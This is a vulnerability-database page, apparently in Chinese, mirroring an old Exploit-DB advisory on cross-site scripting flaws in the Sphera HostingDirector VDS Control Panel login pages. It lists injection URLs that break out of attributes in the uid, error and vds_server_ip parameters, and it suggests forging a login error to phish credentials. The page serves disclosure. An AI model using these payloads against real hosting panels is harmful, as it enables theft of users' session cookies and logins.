Sphera HostingDirector 1.0/2.0/3.0 VDS Control Panel – Multiple Cross-Site Scripting Vulnerabilities

Sphera HostingDirector 1.0/2.0/3.0 VDS Control Panel – Multiple Cross-Site Scripting Vulnerabilities

漏洞ID 1053956 漏洞类型
发布时间 2003-06-13 更新时间 2003-06-13
图片[1]-Sphera HostingDirector 1.0/2.0/3.0 VDS Control Panel – Multiple Cross-Site Scripting Vulnerabilities-安全小百科CVE编号 N/A
图片[2]-Sphera HostingDirector 1.0/2.0/3.0 VDS Control Panel – Multiple Cross-Site Scripting Vulnerabilities-安全小百科CNNVD-ID N/A
漏洞平台 PHP CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/22762
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/7899/info

Sphera HostingDirector VDS Control Panel has been reported prone to several cross-site scripting attacks. The vulnerabilities exist due to insufficient sanitization of user-supplied input for certain URI parameters.

Successful exploitation could permit theft of cookie-based authentication credentials from legitimate users of the HostingDirector Control Panel. 

http://[TARGET]/[INSTALLATION PATH]/login/sm_login_screen.php?uid=">[XSS
ATTACK CODE]

http://[TARGET]/[INSTALLATION PATH]/login/sm_login_screen.php?error=">[XSS
ATTACK CODE]

http://[TARGET]/[INSTALLATION PATH]/login/sm_login_screen.php?error=[XSS
ATTACK CODE COMBINATED WITH OTHER VARIABLE FOR EMULATE A REAL ERROR LIKE
"EITHER PASSWORD OR USER ARE INCORRECT , RE-FILL IN" FOR STEAL THE USER
DATA]

http://[TARGET]/[INSTALLATION PATH]/login/login_screen.php?vds_ip=[VDS
DOMAIN OR IP]&uid=">[XSS ATTACK CODE]&tz=[TIMEZONE CODE , TRY
CEST]&vds_server_ip=">[XSS ATTACK CODE]

https://[TARGET]/[INSTALLATION PATH]/login/login_screen.php?vds_ip=[VDS
DOMAIN OR
IP]&uid="></form>here%20comes%20your%20attack<h1>&tz=CEST&vds_server_ip=">He
re%20comes%20your%20XSS%20Attack&error=Either+user+or+password+are+incorrect
+,+please+re-fill+in+.

https://[TARGET]/[INSTALLATION
PATH]/login/sm_login_screen.php?uid="><h1>XSS%20!

相关推荐: X-News Insecure User Database Permissions Vulnerability

X-News Insecure User Database Permissions Vulnerability 漏洞ID 1102312 漏洞类型 Design Error 发布时间 2002-03-13 更新时间 2002-03-13 CVE编号 N/A C…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享